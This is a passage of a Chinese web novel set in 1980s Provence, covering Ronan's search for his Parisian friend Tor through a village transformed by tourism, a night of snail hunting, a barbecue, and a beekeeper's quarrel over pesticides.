而普罗旺斯完美的符合了以上两个特性——这里既有美丽的乡村,又有美丽的地中海。 根据普罗旺斯大区旅游局统计,1986年,普罗旺斯一共接待游客1200万-1500万人次。 其中国内游客占65%,国际游客占比35%,主要来自英国、德国和美国。 这个数字每年呈递增趋势。 也就是说,在1987年,来普罗旺斯的游客可能会突破1500万人次。 有如此恐怖的基数,卢尔马兰这个冉冉上升的旅游‘新星’吸引来了大量游客就不难理解了。 “你爸爸说最近几天太忙了,可能要考虑再招几个人。”冯珍快速翻动起手里的一张张订购单,“快忙不过来了。” 罗南双手抱胸,看着商业街上络绎不绝的行人说: “斯特斯加也要考虑招人了,我们的旅游项目开展的非常不错,我和佐伊最近正在讨论这件事情呢。” 斯特斯加有什么重要决策都是罗南和佐伊商量着来,罗南从运营和发展的角度考虑,佐伊从资金的角度考虑两个人配合的愈发默契。 冯珍摁起了计算器: “之后几个月有的忙喽,哎” 罗南笑着撑住收银台的台面: “有钱赚还叹气啊,这两天忙累了?” 按照这两天的收入情况评估,等旅游大军真来了普罗旺斯,餐厅每个月的收入能达到20万甚至更多。 斯特斯加那边的情况更加喜人。 之前罗南的目标是,希望通过旅游项目覆盖一部分人员的成本,只要每个月不‘贴补’太多就可以,等卖酒的时候慢慢补回来。 但看现在的情况,不仅每个月的人力成本可以靠旅游项目覆盖掉,甚至还能有剩余而且还是不小的剩余,具体数字要等月底,老板娘佐伊算完帐才能知道。 谁能想到,罗南靠斯特斯加赚的‘第一桶金’居然是旅行季带来的? 只能说在普罗旺斯,做旅游是一个非常赚钱的营生,尤其是在旅游事业刚刚起步的卢尔马兰。 罗南的入场时机和围绕游客发展的决策都是非常正确的! 活该他赚钱!! “我叹气当然不是为了游客。”冯珍抬头看儿子,“我希望卢尔马兰一年四季都是旅行季,我和你爸爸一点都不想休息,越忙越开心,我叹气是因为我们的餐厅现在装不下这么多人。” 冯珍再次看向外面等位的人,后悔的说: “后院开了,前面的桌子也搭起来了,还是装不下,早知道楼上留一层住人就好了,另外一层也拿出来开餐厅,这都是钱啊。” 罗南摆手道: “那怎么行,全村所有商铺都是一层做门面,楼上两层住人,我怎么能委屈了你们?卢尔马兰商业街的二期和三期马上就要筹建,想扩店还有机会,而且你忘记爸爸的‘宏图远志’了吗?” 罗南笑呵呵的说: “他说想把餐厅开到普罗旺斯的每一个城市。” 冯珍做出了一个‘你快别提’了的苦涩表情: “你爸爸那是喝多了吹牛皮!” 这话是某一次罗天海喝多了之后发出的豪言壮语。 “说不定等我们参加完普罗旺斯的那些美食活动,餐厅的名气自然而然就传到其他区域了呢?”罗南乐观的说,“那个时候开分店的契机不就有了?” 冯珍敲了敲桌子: “还是说点实际的吧,外面那么多排队的人.他们不会嫌天气太热都走了吧?” 餐厅在去年10月份也出现过排队现象,但那个时候温度没有那么炎热。 罗南喝了一口面前的冰镇粉红酒,胸有成竹的说: “这批走了,肯定会出现下一批等位的人,‘饥饿营销’你听过吗?” 冯珍看了一眼表: “饥饿营销我不懂,但饥饿我懂,你说托尔现在吃没吃饭,有没有水喝?他现在不会又饿、又累、又热的在找顺风车吧?” 罗南放下酒杯,担忧的看向窗外。 也不知道托尔到哪了? 第433章 新的卢尔马兰 工作室的二楼还没装修好,罗南要在餐厅里实验参加面包大赛的作品,但佐伊留在家中工作,无论托尔先去到哪里,他们都能第一时间得到消息。 但罗南等了又等,托尔没来餐厅,佐伊的电话也没有打来,眼看太阳要下山.大伙儿都有些等着急了。 “你确定托尔说的是今天来吗?”随着时间推移,冯珍看窗外和电话的次数逐渐增加。 罗南也开始怀疑自己听错了日子,随即他更加后悔没有坚持去阿维尼翁把托尔接回来: “他说的是复活节前两天来,应该是今天这个时间都没到,可能是找车的时候遇到了什么麻烦。” “要不要去村口等等?”冯珍看着儿子说,“现在人多,有没有可能是没找到地方?” 虽然觉得这个可能性不大,但罗南确实也坐不住了,他对母亲点了点: “我多叫几个人一起去。” 所有参与过罗南求婚仪式的村民都知道罗南有一个大块头、来自巴黎、非常勤劳的同学。 罗南去往农夫们所在的区域,讲完事情的来龙去脉后,康奈尔嘴里的粉红酒差点喷出来: “你的那个同学已经到卢尔马兰了!” “到卢尔马兰了?”罗南意外的问康奈尔,“你见到他了?” “见到了。”康奈尔站起来,“我在粉红酒博物馆里看到他了,他在里面参观,还和我打招呼了,你别着急,我去找找。” 随着康奈尔一起站起来的还有法比安: “你这样说,我好像也见到他了。” “你在哪里见到托尔的?”罗南更加吃惊了。 法比安回忆着说: “就在卢尔马兰的街道上,他手里拿着一袋chichi,边吃边走,哦对了,你同学手里还拿着一个印有斯特斯加logo的袋子,我以为是你给他的呢。” 斯特斯加还没开始酿酒,现在持有斯特斯加logo袋子的人都是参加完斯特斯加旅游项目的人,罗南安排在项目结束后给游客提供‘伴手礼’。 也就是说,托尔不仅参观了粉红酒博物馆,还去参加斯特斯加的参观项目了? 罗南对康奈尔和法比安挥了下手,示意他们不用去了: “既然人没事而且已经到了,你们就不用去了,我自己出去看看。” 罗南在餐厅门口遇到了来吃饭的巴蒂,巴蒂自己很少做饭,又没有家人在身边,餐厅就是他的食堂,员工们吃什么他就吃什么。 “出去啊?”巴蒂笑着和罗南打招呼。 “去找我同学。”罗南与他擦身而过。 “来自巴黎的那个吗?”巴蒂回看他。 巴蒂同样在求婚仪式上见过托尔。 罗南停下脚步问: “你也看见托尔了?” 巴蒂点了点头: “对,他去参观妇女们做编织了,还亲自体验了一把,你这个同学的手真巧啊,不到半个小时就做出了一个纪念品,我和他一起离开的编织大院。” 罗南无语的拍了下脑门。 托尔居然在卢尔马兰玩上了? 罗南清楚托尔的性格。 他是一个哪里有热闹就会去哪里的人,去年复活节他的计划是在罗南家看书,但经不住诱惑的他去围观了游客吵架、欣赏了大卡车撞坏电线杆、看了拖拉机掉进化粪池、还找车送了陌生人去火车站。 今年的卢尔马兰‘诱惑’升级,想必托尔是在来找罗南的路上‘乱花渐欲迷人眼’了。 这几天餐厅生意不错,罗南又要准备面包大赛,每天从餐厅离开回家都要晚上8点半以后将近9点,天完全黑了。 那个时候的卢尔马兰和往常区别不大,街道上没有什么行人,只有各家各户的灯光。 今天他出来的早了一些,虽然太阳还没完全下山,但也临近7点,可路上的行人依旧很多尤其是街道两边的露天座位上,坐满了吃饭的人。 要知道,在过去的大半年中,卢尔马兰只有罗南一家餐厅生意爆满,其他餐厅的生意都是不温不火的状态,无论是眼前街道上的行人,还是路两侧的餐厅都在证明——卢尔马兰已经和以前大不同了。 托尔爱热闹,罗南寻人的路线是前往村中心的方向,在路上,他经过了科曼那间‘原始风’餐厅。 以前科曼永远会坐在最靠近门口的那张桌旁抽烟,可今天那里坐了两位游客。 而每天烟不离手的科曼,此时正在给顾客点单。 见罗南路过,科曼快跑了两步,撑着门框对他喊道: “罗南,再帮我送两箱,不,四箱粉红酒好吗?游客们参观完粉红酒博物馆都想尝尝。” 罗南对他摆了下手: “好的,我安排人给你送来。” 斯特斯加在名义上已经到了罗南的名下,卢尔马兰所有的餐厅、酒馆和咖啡馆的老板都会找罗南购买粉红酒。 “谢了。”科曼回去继续招待顾客。 罗南的视线从科目的身上离开,继续看向两侧不算少的行人: “确实一切都变了啊。” 坦白讲,卢尔马兰的‘振兴’计划已经实施了一年多,政府也利用旅游局的第一笔预算做了许多基建,但罗南似乎还没有找一个正式的机会,好好‘看一看’新的卢尔马兰。 这个时间,气温变得宜人且舒适。 路上的行人不多也不少,既不会觉得拥挤,也不会让人感觉寂寞是一个很舒适的状态。 头顶美丽的粉色晚霞也让罗南的心情放松了下来,脚步随即也缓慢了,这样可以把道路两侧的事物看得更真切。 村中心的老教堂依然是游客最喜欢来打卡的地方,即使太阳即将落下地平线,周围也有不少人。 原本褪色的石墙被修复如初,斑驳的彩绘玻璃窗重新显现瑰丽的光影,建筑顶端古老的钟楼在夕阳的余晖照耀下泛起温暖的橙黄。 而在罗南脚下,新铺的鹅卵石地面平整光洁,许多游客选择在树下席地而坐,享受黄昏下古老教堂带来的心灵平静。 罗南也随着游客一同看向头顶的落日余晖。 “真美啊” 商业街上没有找到托尔,村中心的老教堂附近也没找到托尔,于是罗南延着蜗牛壳去往其他地方寻找。 不多时,他闻到一股奶香四溢的面包香气,他确认这是他在卢尔马兰的街道上第一次闻到。 寻着鼻尖味道来到阿兰的面包店,刚一踏进门槛,罗南就忍不住问道: “做什么东西了,这么香啊。” 阿兰正在有条不紊的给游客称面包,见罗南来了,立即递给了他一块: “新推出的蜂蜜面包,快尝尝。” 面包烫的罗南拿不稳当,不过他还是没忍住咬了一口: “好吃,之前怎么没卖过?” 阿兰一边忙碌一边说: “今年来的国际游客太多了,他们吃不惯传统的法式面包,这是为他们推出的,你等一等再走,另一款薰衣草面包也要出炉了,带点回去给你父母尝尝。” 排队的游客早就馋的流口水了,催促阿兰: “老板,我等好久了,先给我拿吧,好不好?” “好好好!都有,都有,我们今天7点半才关门,后面还会有好几炉新面包呢。”阿兰笑容满面的说。 罗南要去找托尔,没有等阿兰新推出的薰衣草面包。 但这并不算遗憾,因为阿兰所在的这条开着许多生活商铺的老街上,可以吃的东西太多了。 杂货铺的门口支起了做乡村博饼的摊子,肉铺里摆出了各种口味的肉干,水果店里推出了看起来就新鲜诱人的果切盘子就连和吃没什么关系的书店都开始卖饮品了。 “罗南,今天别喝粉红酒了,尝尝我的橄榄叶柠檬茶吧,也是冰镇过的。”书店老板热情的给罗南递来了一杯。 罗南举起两只手里的食物袋子: “卡利桑,我真的吃不下了,我的肚子已经装不下任何食物了。” 新出现卖食物的铺子太多,罗南每路过一个都会停下看看,村民们平时得到罗南不少帮助,自然是不停给他投喂了。 结果就是——这条路还没走完罗南就吃饱了! 卡利桑哈哈大笑着说: “那就明天来喝,明天我们就有两款饮料了,我妈妈说她要做甜瓜汁,卡瓦永甜瓜做的。” “那我必须来尝尝了。”罗南笑着和卡利桑告别,“佐伊最爱吃卡瓦永甜瓜。” 卡利桑也挥手和罗南告别: “你和佐伊想喝多少有多少,全部是免费的!” 逛完这条新出现的‘小吃街’,罗南依然没有找到托尔。 这个时候罗南看向了村子的另一个方向: “难道去看艺术展了?” 卢尔马兰的艺术商铺分散在村子的各个角落。 但因为特色艺术市集的出现,那附近变成卢尔马兰艺术气息最浓郁的区域了。 还没走到谷仓,罗南就遇到了三位现场作画的画家,其中还有一个是薇薇安。 “我说你最近怎么没去我家找佐伊玩。”罗南笑着和薇薇安打招呼,“原来在这采风呢。” 薇薇安见附近没有游客,兴奋的对罗南说: “我确实是想采风,但今天有好几个游客让我给他们画画像,今天赚了200多法郎!” 年轻艺术家的经济条件普遍都不太好,日收入能达到200多法郎已经是非常不错的数字了,尤其这还是‘兼职’。 “那不错啊。”罗南把手里的没有吃过的薄饼和蔬菜挞给她,“吃饭了吗?” 薇薇安毫不客气的接了过来: “还没吃,我们约好晚一点去歌迪亚家的露台吃烤肉,不过确实有点饿了,谢谢啊。” “佐伊也去吗?”罗南没听说过这个行程。 不过这并不重要,在普罗旺斯,没人会在意计划是什么,如果罗南决定在半个小时后举行一个小型party,可以立即号召来几十个人参加。 这就是普罗旺斯人所追求的生活该有的样子。 薇薇安眨巴着眼睛说: “佐伊当然会去,不仅她要去,你和你那个巴黎的同学也要去,诶对了,那个人到了吗?” 薇薇安没有看到托尔,不过罗南还是不死心的又在这附近找了一圈。 开设特色艺术市集的谷仓外有几位正在做涂鸦的艺术家,附近全部是围观和拍照的游客。 涂鸦艺术在巴黎常见,但在普罗旺斯还是很稀奇的,罗南都忍不住驻足观看这些大师要把墙壁画成什么样子。 不过他没有时间看太久,因为托尔还没找到呢! 这个时候,罗南真的开始着急了。 托尔爱热闹,还嘴馋。 但卢尔马兰热闹和卖吃的东西的地方都没找到他.托尔还能去哪儿呢? 几个著名的‘景点’找不到人,罗南只能没有什么规律的四处寻找。 约十分钟后,太阳终于渐渐和地平线重合——日落的时刻到来了。 这个时候热闹了一整天的卢尔马兰会突然安静下来,还没离开的游客会找寻长椅、石阶或者花坛坐下,欣赏太阳在今天最后的样子。 卢尔马兰村内有大大小小许多喷泉,听着每隔几十米就会出现的泉水叮咚声,再看着眼前静谧安宁的人间景象.时间仿佛都被拉长了。 罗南忍不住停下脚步,看向身后住了一年多的村庄,那里似乎浸泡入了蜂蜜色的光晕里,美得不像样。 以前罗南认为卢尔马兰村里的景点只有那么几个,老教堂、卢尔马兰城堡、商业街和一个个艺术商铺和画廊。 但此情此景,罗南的想法改变了——原来不必刻意寻找,卢尔马兰处处都是风景,处处浸着百年沧桑。 突然,新修建起来的铸铁路灯次第亮起,这预示着卢尔马兰的夜晚开始了。 安静欣赏日落的游客从原先的状态中抽离,重新寻找看夜景最好的地方,似乎不忍心错过卢尔马兰每一个美丽瞬间似的,一道高大的身影从一个角落出现,一眼便被罗南看到了。 “托尔!”罗南赶紧走了过去。 半天不见,托尔的手里除了那个行李箱,还多出了许多吃的、喝的和玩的。 见到罗南找到自己,他像是做错了事的孩子一样,低头解释: “对不起罗南,我只是想先逛一逛,但卢尔马兰好玩的东西太多了,一个又一个,完全停不下来,我逛累了,想歇歇脚,可是这里的景色太美了.我不舍得离开,就——” 罗南用力抱住托尔,开心的说: “这不怪你,这里确实变得太漂亮了,漂亮到我都快不认识了欢迎来到新的卢尔马兰,我的朋友!” 请假条 今天这章写出来了,但写的不够好,不是我想要的感觉(有图为证) 修了一阵子,感觉还是差点意思。 再看马上12点,一着急更改不好了。 更新已经这么差了,质量再下降就太说不过去了。 今天这章我会大修一下,和明天的那章一起发。 抱歉了。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第434章 ‘差不多\’原则 普罗旺斯拥有巴黎没有的乡村美景。 普罗旺斯人也拥有巴黎人所不具备的热情。 今晚佐伊和小姐妹们聚会的计划里包含了远道而来的托尔。 但托尔在卢尔马兰逛了一下午,肚子早就吃饱了。 没有了‘吃’这个巨大吸引力,当罗南向他发去聚会邀请时,自小没什么朋友、习惯独处的托尔没有什么意外的拒绝了。 “我喜欢你家的院子,你们去聚会吧,不用管我,我可以自己照顾自己。”托尔陷入柔软的沙发里,四肢舒服的伸直,“这里太棒了,还好我带了书来,明天我要一整天都待在这里。” 根据罗南对托尔的了解。 这个家伙更加喜欢热闹的地方,哪里热闹他就去哪里,只是‘害怕’和陌生人互动罢了。 “后院随时都能来,但聚会不是什么时候都有的,你真的不去吗?” 托尔第一天到卢尔马兰,罗南不想把他一个人留下,还是希望能带着他一起。 托尔拍着圆鼓鼓的肚子说: “可我真的吃不下了,我无法吃下任何东西。” 罗南和佐伊互看了一眼,同时看到了对方眼睛里的为难。 事实上在普罗旺斯,聚会的核心并不是吃饭,而是喝酒聊天但说出实情后,托尔应该更加不感兴趣了。 “其实我一点都不饿。”佐伊用探讨的语气对罗南说,“要不然我们换个活动主题?” 随着旅行季的到来,大家白天都有需要忙的事情,小姐妹们约定好的聚会时间是晚上8点后,那个时间大家都吃过晚饭了,烤肉不过只是一个聚会的噱头而已,大家不是过去吃的。 罗南想都没想,点头道: “可以,那我们去干别的吧。” 罗南看着托尔说: “我们去抓蜗牛吧,怎么样,这个提议你感不感兴趣?” 托尔因舒服眯起来的眼睛恢复了原形,不确定的问: “可以做成法式焗蜗牛的蜗牛吗?” 事实证明,这个家伙的脑袋里除了玩就是吃。 蜗牛自动变成了餐桌上的样子。 托尔的反应已经给到了答案,罗南点着头说: “是的,非常新鲜的普罗旺斯小灰蜗牛,这个季节正是它们活跃的时候,等我去打个电话,皮埃尔一定知道谁家的地里有那种小东西,我们抓些来明天吃。” 托尔低头看了一眼手腕上的表,敲着表盘说: “但现在已经8点了,临时策划行程会不会太着急了?” 罗南拍拍屁股站了起来: “那就赶紧的吧,我去打电话,你们喝完这杯酒我们就出发。” 托尔无措的坐直了身体。 你们的聚会就这么轻易的改主题了?? 20分钟后。 罗南、佐伊和托尔出现在亨利所拥有的葡萄园里。 和他们三个一起出现的,还有歌迪亚、薇薇安、宝莱特、皮埃尔、康奈尔、特洛西、阿尔迪等二十多人。 没错,不止佐伊和小姐妹们的聚会改了主题。 卢尔马兰村里许多聚会也都改了主题。 普罗旺斯人会利用一切缘由聚在一起吃喝喝,每天在夜深人静的卢尔马兰都会同时进行着几十个大大小小的聚会。 听说罗南要去抓蜗牛,在皮埃尔家喝酒的几个家伙也跟来了,剩下的几个人是听到消息跟过来的人。 试问,谁会拒绝一起去寻点乐子呢? 托尔左右看了看一个比一个兴奋的村民,小声问罗南: “这也是卢尔马兰的游玩项目吗?” 一个电话出现了这么多人? 而且只有短的20分钟 罗南耸肩道: “可能是吧,不过是在20分钟前才‘设立’的。” 没有继续这个话题,罗南把头灯戴到托尔的头上: “你应该没有抓过蜗牛吧?我来教你。” 托尔配合的低下头,跃跃欲试的说: “我只吃过蜗牛,当我看过农业频道里关于蜗牛的纪录片。” 周围的打闹声此起彼伏,是贪玩的皮埃尔和村民们打赌玩起了抓蜗牛的游戏。 半个小时后,谁桶里的蜗牛最多,谁就可以指定在场的任何人做一件事情。 好胜的普罗旺斯人不会拒绝任何比赛的机会,不仅农夫和村民们加入了赌局,就连几位女艺术家都拿着桶冲入了‘比赛场地’。 亨利来到罗南身边,贴心的对他说: “罗南先生,您也去抓蜗牛吧,我来教您的同学。” 罗南摇着脑袋说: “没事,你去忙你的。” 亨利倔强的说: “我没兴趣和那些人比赛,抓蜗牛是我3岁就擅长的事情,我去参赛太欺负他们了!倒是您,您应该去争夺第一名,我听到皮埃尔说,如果他拿了第一,要让您吃下一整碗由他亲自制作的大蒜酱,那个家伙太过分了!” 罗南的朋友们都清楚,他不喜欢吃大蒜酱,而且非常排斥。 喜欢恶作剧的皮埃尔,好几次都差点让罗南吃下沾满大蒜酱的食物.并玩的乐此不疲。 托尔捂着嘴发出牛叫声,他自然也知道吃大蒜酱是对罗南最大的惩罚。 那个叫皮埃尔的人太有意思了。 皮埃尔最喜欢吃大蒜酱,而且是加量加倍的那种才过瘾。 让罗南吃下皮埃尔亲自制作的大蒜酱想一想就要气的散发毒气了! 罗南‘气势汹汹’的拿起地上的塑料桶,也加入了战局: “亨利,帮我照顾下托尔,我要拿下第一,让皮埃尔去亲驴屁股,而且是亲大黑驴。” 托尔笑得上气不接下气。 亲大黑驴屁股想看! 亨利礼貌的对托尔做了一个‘请’的手势: “托尔先生,请您跟我来,我来教您!” 蜗牛喜欢在深夜和凌晨活动,但罗南他们去的时间稍微有点早,现在出来觅食的小家伙还不算多。 即使像皮埃尔那样经验丰富的‘蜗牛猎人’也没有太多收获,比赛自然而然的结束了。 不过大伙儿的热情一点都没有消退,甚至玩的更加积极——抓蜗牛的本事分不出胜负,那就比比谁的嘴最厉害吧。 此起彼伏的斗嘴声叫的比夏夜的蛙鸣还要热闹,中间还夹杂着一声声牛叫。 虽然亨利尽心尽力的演示了许久,但托尔一颗蜗牛都没有找到,因为他的眼睛和耳朵都在其他人身上。 听这些操着浓重普罗旺斯口音的人斗嘴实在太有意思了比在巴黎歌剧院听法式闹剧还要有意思。 大伙儿在地里开心的玩了好一阵子,蜗牛没找到几颗,反而把人玩饿了。 薇薇安在田垄里对佐伊几个人喊: “我们要不要去吃点东西?” 抓蜗牛太耗费体力了! 歌迪亚马上给了反应: “去烤肉啊,我肉都准备好了。” 今晚原本的聚会计划就是去歌迪亚家烤肉吃。 几个和艺术家相熟的农夫一点没有客气: “我们能一起去吗?” 歌迪亚已经离开了田里: “走啊,一起,人多才热闹呢。” 随着艺术商铺招收本地村民,迁徙而来的卢尔马兰艺术家群体和村民们已开始渐渐融合.这两伙人偶尔也会有所交集了。 罗南找到认真‘听笑话’的托尔,拍着他的肩膀说: “走啊,一起吃东西去。” 托尔肚子里的食物确实消化下去了,但他看向手腕上的手表: “可现在已经——” 罗南摁住他的胳膊,并拉着他追上前方的歌迪亚和佐伊: “在普罗旺斯,时间是最不值钱的东西,这几天请忘记你的手表吧。” 最终托尔还是跟着罗南来到了歌迪亚的烤肉聚会。 农夫们知道托尔是罗南非常要好的朋友,在聚会中都很照顾他。 “再给您倒一杯酒?” “需不需要一些新的冰块?” “牛肉还是鸡翅,又或者是芦笋?” 去年复活节跟着罗南去参加朋友聚会,托尔只有一件事情做——那就是吃吃吃。 但今年他又多了一件事情做。 “你们没有一个人戴表。”托尔终于观察完了每一个人,得出了结论。 罗南笑着说: “还记得我给你科普过的‘普罗旺斯时间’吗?你觉得对于这样的普罗旺斯人而言约束他们的时间观念有用吗?” 托尔开始吃今晚的第十五根烤芦笋: “那你们如何约定时间呢?比如说,明天一早要见面。” 罗南用一副本地人口吻说: “我们遵循‘差不多’原则,大家很有默契。” “什么是‘差不多’原则?”托尔憨厚的问。 薇薇安将装有新烤好食物的盘子递给托尔,抢答道: “‘差不多’原则就是,我们约定好明天一早去采草莓,那大家就在差不多的时间出发就好了。” 托尔转头看罗南,一脸的不理解。 她在回答问题,还是在制造问题? 罗南拍着托尔的肩膀说: “没事,明早摘草莓时你就知道了。” “明早要去摘草莓?”喜欢凑热闹的托尔再次兴奋起来,“那也是卢尔马兰的旅游项目吗?” 罗南努了下嘴: “不是,是我在10秒钟之前临时决定的。” 罗南身边马上出现好几个脑袋。 “你们明早要去摘草莓?我也去!”歌迪亚举手。 她的店里请了两个本地村民,出去玩一圈不打紧。 “那我也去,我做一点草莓果酱中午吃。”宝莱特第二个给出回应。 “那我带着画板去采风吧,在村子里画了好几天了。”见其他几个姐妹都去,薇薇安也加入了进去。 “摘草莓怎么能不带着我,你们知道谁家的草莓这一季长的最鲜嫩吗?” 农夫们也相继加入了这次临时起意的活动。 托尔开心的咧起嘴,胃口更加好了。 他喜欢普罗旺斯人,因为普罗旺斯人和他一样爱凑热闹! 托尔不理解普罗旺斯的‘差不多’原则。 一直等到聚会的结束,他也没有等到大家聊明天采草莓的任何细节,例如几点,去哪儿,怎么去,怎么采摘等等。 似乎大家都不关心明天的行程似的。 不过在睡觉前,罗南信誓旦旦的保证,明天上午的摘草莓项目绝对不会落空,让他好好睡一觉,明天一睁眼他们就可以出发了。 “那我上几点的闹钟呢?”托尔举起他的手表问。 罗南再一次把他的手腕摁了下去,笑着说: “请记住,‘差不多’原则的第一步就是忘记时间,明天你安心睡觉,到了‘差不多’的时间,我会去叫你的。” 托尔在卢尔马兰度过了完美的第一天。 下午,他参观了卢尔马兰的好几个旅游景点,还在静谧的喷泉旁观看了具有普罗旺斯风格的落日,并且吃到了许许多多地道的普罗旺斯特色小吃。 晚上的夜生活过的更加丰富了。 第一次体验抓蜗牛,虽然没找到什么,但是看了一场精彩纷呈的普罗旺斯式‘喜剧’,还吃到了美味的烤肉。 不,严格意义讲是烤菜,那些新鲜的应季蔬菜烤出来比肉还好吃。 躺在床上,即使闭上眼睛,托尔的嘴角还衔着笑容。 他最爱吃草莓了。 期待明天的行程! 虽然没有上闹钟,但托尔第二天早上7点多就醒了。 倒不是因为睡的不习惯或者不舒服,而是他闻到了扑鼻的香气。 托尔没有任何拖延的坐了起来。 他走出卧室,发现罗南和他父母的卧室都已经敞开了大门,人没在屋里。 托尔又来到楼下,发现罗南正在厨房里忙碌。 “早啊,睡的好吗?”罗南笑着和托尔打招呼。 “非常棒。”穿着特大号小熊睡衣的托尔猛吸了几下鼻子,“你在做什么?” “煮馄饨用的高汤。”罗南贴心的说,“还要一阵子才能熬好,你再去睡一会吧。” 在巴黎生活了几十年的罗南非常清楚,假期对于打工族的意义。 托尔都没有走完楼梯就返回了上去: “我现在就去洗漱,马上就好,还有摘草莓的项目呢,别迟到。” 罗南头都没抬的说: “昨晚大家玩到那么晚,今天不会起的太早,不要担心。” 托尔的声音从楼上传来: “那你帮我多煮几个那个叫‘馄饨’的东西吧,我多吃几个!” 罗南对楼上喊: “你喝樱桃汁、杏皮茶,又或者是柠檬汁?都是昨天新摘下来的,非常新鲜。” 托尔的脑袋探了出来,嘴里咬着牙刷: “可以每个都尝尝吗?” 第435章 奇怪的普罗旺斯魔力 罗南打算用高汤给托尔煮馄饨,虽然托尔不到3分钟就收拾好了自己,但早餐暂时无法开启.汤的火候还没到位。 等待的时间里,托尔和罗南一起做起了各种美味的果汁,之后又跟着罗南学包馄饨。 托尔的手非常巧,尤其是在烹饪的时候,几乎一学就会。 不过托尔的心思没办法完全在烹饪上,他非常在意时间的问题。 罗南不让他看手表,他就看起墙壁上的时钟,结果发现罗南家根本就没有那东西。 “我记得你家原来有挂钟。”托尔回忆着说。 “是的,原来有,后来取下去了。”罗南尝了一口汤,觉得差不多了,“那之前的好几个月它就没有电了,我们甚至没有发现,后来索性就拿下去挂别的了。” 托尔用探讨的口吻问: “可不知道时间,如何知道接下来要干什么呢?” 罗南一边煮馄饨一边解释: “我们只是不在意时间,不是不知道时间虽然没有表,但通过外面太阳的样子就可以非常清楚现在是几点了,因为生物钟非常规律,我这样说你可能会觉得非常匪夷所思.但在普罗旺斯生活就是这样的。” 托尔继续问罗南: “那你觉得这样是好还是坏呢?” 生活在巴黎的人,完全无法想象没有时间的生活是什么样子的。 客户的电话会在8点半准时打来。 领导规定在下午6点前交上去东西。 超市在晚上8点一定会关门,即使迟到1分钟也不让顾客进去。 如果晚上10点还没下班,那就只能坐昂贵的出租车回家了。 馄饨出锅,罗南把碗放到托尔面前的同时,细心的叮嘱他: “很烫,吃的时候不要着急,我不知道这是好是坏,但在普罗旺斯,你可以拥有慢慢享用早饭的权利,不用考虑多吃了两分钟是不是要迟到、是不是要被扣钱如果你愿意,甚至可以吃上一个小时,没有人会催你。” 罗南笑着把勺子递给他: “真的,我爸爸每天早饭吃完的标志是看完全部《普罗旺斯日报》上的东西。” 为了适应‘普罗旺斯’节奏,托尔吃了30多个小馄饨,期间还穿插着喝了三大杯果汁。 “你的胃很普罗旺斯啊。”罗南用明显开玩笑的语气说,“明天我多准备一些,你还想吃中式的早饭吗,还是我给你准备法式的?” 托尔喝下最后一口汤,乖巧的说: “明天我来给你做早饭,一会采到了草莓,我给你做糖奶油煎饼。” 糖奶油煎饼是托尔从去年就要给罗南做的东西。 罗南点点头: “可以,那明天你来做,后天我们去梅纳村的集市上吃点新鲜的东西。” 再玩一天,后天就要去梅纳村参加面包大赛了。 托尔露出开心的笑容。 新鲜的东西,又是新鲜的东西,普罗旺斯太有意思了! 不过想到什么,他突然不顾罗南的反对看向手腕上的表,随即发出一声闷哼: “快9点了!” 糟糕,吃了太久,是不是要迟到了? 罗南不疾不徐的把碗收拾好,搬去水池内,路过睡觉的马塞,还不忘记用脚蹭一蹭它的脑袋: “没事,你去喝一杯咖啡或者去院子里玩一会,等我刷完碗,时间就差不多了。” 毫不夸张的讲,托尔在罗南家度过了一个无比惬意和舒服的早上。 吃饱饱喝好好的同时,还能惬意的休息好这两点在巴黎几乎是无法同时并行的。 唯一有一点‘苦闷’的是,他担心自己错过了摘草莓的集体活动。 罗南的朋友们都非常有意思,尤其说话好听别看托尔表面上喜欢独来独往,但他的内心想和大家一起。 经过了如此‘漫长’的一个早上,罗南的朋友们是不是已经摘完草莓回家去了? 可让人意外的是,当罗南慢慢悠悠的一边溜达一边介绍周围的环境,将托尔带到他们今天的目的地时,在那里出现的人只有寥寥四五个。 更加让人意外的是,这几个人并没有在采草莓而是在做别的事情。 距离草莓园几百米的地方,皮埃尔和另外两个农夫正和一位蜂农聊着什么。 这位蜂农就是去年冬天帮助罗南清理电箱里马蜂的那位。 普罗旺斯的蜂农像‘牧民’一样,根据花期迁徙蜂箱。 在4月薰衣草等鲜花还没有盛开的日子,蜂农通常会选择将蜂箱搬到果园的附近。 “你说你的蜜蜂罢工了?这不可能。”皮埃尔咬着烟蒂说,“蜜蜂是普罗旺斯唯一准时上班的居民,它们怎么可能罢工呢,我不信!” 那蜂农‘气急败坏’的说: “真的,这些蜜蜂已经三天没有采蜜了,每天待在蜂箱里。” “为什么?”托尔赶紧捂住自己的嘴。 几个农夫一回头,发现他们的‘会议’里加入了两个新成员。 罗南也把头探过去问: “为什么?它们为什么不采蜜了?” 那蜂农见到罗南和皮埃尔同时出现,用一种告状的语气说: “因为索托在他的杏上喷了农药,我的蜜蜂们在抗议,我现在过来,是想看看这片草莓园的情况,如果这里也喷了农药,我就要把蜜蜂们搬去其他地方了!” 在1987年的普罗旺斯,农药远未达到工业化农业的规模,但也有一小部分人开始使用了。 种植葡萄的农户会使用剂量较低的农药防治病虫害。 种植蔬菜和水果的农户使用农药保产。 不过种植薰衣草和橄榄的农户,农药使用率极低,因为作物病虫害较少,可以依赖轮作和手工除虫。 在卢尔马兰,农户或者和农业有关的从业者对农药的态度有很明显的分歧。 一部分农户认为农药是偷懒工具,会破坏土壤。 有一部分人认为应该接受新的农药技术,只不过计量要谨慎。 很显然,罗南和托尔就遇到了两个态度完全相反的‘邻居’——这位蜂农是来问责的。 皮埃尔属于‘农药拥护’派,极力解释道: “这片草莓园没有喷农药,不过索托的地距离你有很远的距离啊,而且剂量也不大,应该不是他的问题吧?” 那位蜂农也据理力争的说: “你们根本不懂蜜蜂,蜜蜂比你们任何一个人都了解普罗旺斯,它们知道知道哪片山坡的迷迭香最香,哪棵橡树的树脂会让蜜带烟熏味,哪里的薰衣草最茂盛农药的恶心味道哪怕在2公里外出现,也会恶心的它们一周吃不下饭,我发誓就是农药的原因!” “不可能不可能,你再给我讲讲蜜蜂们的症状。”皮埃尔皱着眉头说。 两方争论了将近半个小时,谁也说不过谁,听起来都很有理有据。 这边似乎僵持住了,但周围的‘环境’却不停的变化——围观的人越来越多。 是因为来参加采草莓集体活动的成员,在‘差不多’的时间陆续赶来了。 面对突发情况,大伙没有一个人表现出着急或者不耐烦,纷纷找阴凉的地方‘密切关注’,甚至还有人加入了这场辩论之中。 